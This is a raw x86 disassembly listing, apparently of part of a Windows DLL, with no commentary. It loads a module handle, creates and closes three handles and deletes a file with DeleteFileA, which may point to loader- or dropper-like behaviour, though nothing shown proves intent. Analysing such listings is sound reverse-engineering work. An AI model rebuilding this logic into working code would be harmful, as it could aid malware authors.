cmp ecx, 0x1000
jb 0x10004dab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100050e4
jmp 0x10004dab
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10004f60
lea ecx, [ebp - 0x1ec]
mov byte [ebp - 0x209], 1
call fcn.10006390
test eax, eax
jne 0x10004f57
mov eax, dword [ebp - 0x1fc]
xor edx, edx
mov ecx, dword [eax + 4]
mov eax, 4
cmp dword [ebp + ecx - 0x1c4], edx
cmovne eax, edx
or eax, dword [ebp + ecx - 0x1f0]
and eax, 0x15
or eax, 2
mov dword [ebp + ecx - 0x1f0], eax
mov ecx, dword [ebp + ecx - 0x1ec]
and ecx, eax
jne 0x100050ee
lea eax, [ebp - 0x114]
push eax
call esi
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x1fc]
push eax
call fcn.10001220
add esp, 8
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x10004e20
lea ecx, [ebp - 0x1fc]
call fcn.10006470
cmp byte [ebp - 0x209], 1
jne 0x100050c8
lea eax, [ebp - 0x204]
mov dword [ebp - 0x204], 0
push eax
push 0x100038d0
push 6
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x204], eax
lea eax, [ebp - 0x204]
push eax
push 0x10002850
call fcn.10005140
mov dword [0x1002e19c], eax
lea eax, [ebp - 0x204]
push eax
push 0x10002c20
call fcn.10005140
mov dword [0x1002e1a0], eax
lea eax, [ebp - 0x204]
push eax
push 0x10003210
call fcn.10005140
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x18
mov dword [0x1002e1a4], eax
push dword [0x1002e19c]
call esi
push dword [0x1002e1a0]
call esi
push dword [0x1002e1a4]
call esi
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x1fc]
call fcn.10002450
mov eax, dword [ebp - 0x130]
cmp eax, 0x10
jb 0x10005075
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x1000506b
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100050e9
push ecx
push edi
call fcn.1000b78a
add esp, 8
mov ecx, dword [ebp - 0x118]
cmp ecx, 0x10
jb 0x100050ab
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100050a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100050e9
push ecx
push edx
call fcn.1000b78a
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000b852
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x114]
push eax
call esi
lea ecx, [ebp - 0x1fc]
call fcn.10006470
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1001037f
call fcn.1001037f
test cl, 4
je 0x100050fa
mov esi, str.ios_base::badbit_set
jmp 0x1000510a
test cl, 2
mov esi, str.ios_base::failbit_set
mov eax, str.ios_base::eofbit_set
cmove esi, eax
lea eax, [ebp - 0x208]
push 1
push eax
call fcn.10006a80
add esp, 8
lea ecx, [ebp - 0x324]
push eax
push esi
call fcn.10001f00
push 0x1002b5e0
lea eax, [ebp - 0x324]
push eax
call fcn.1000c8dc
int3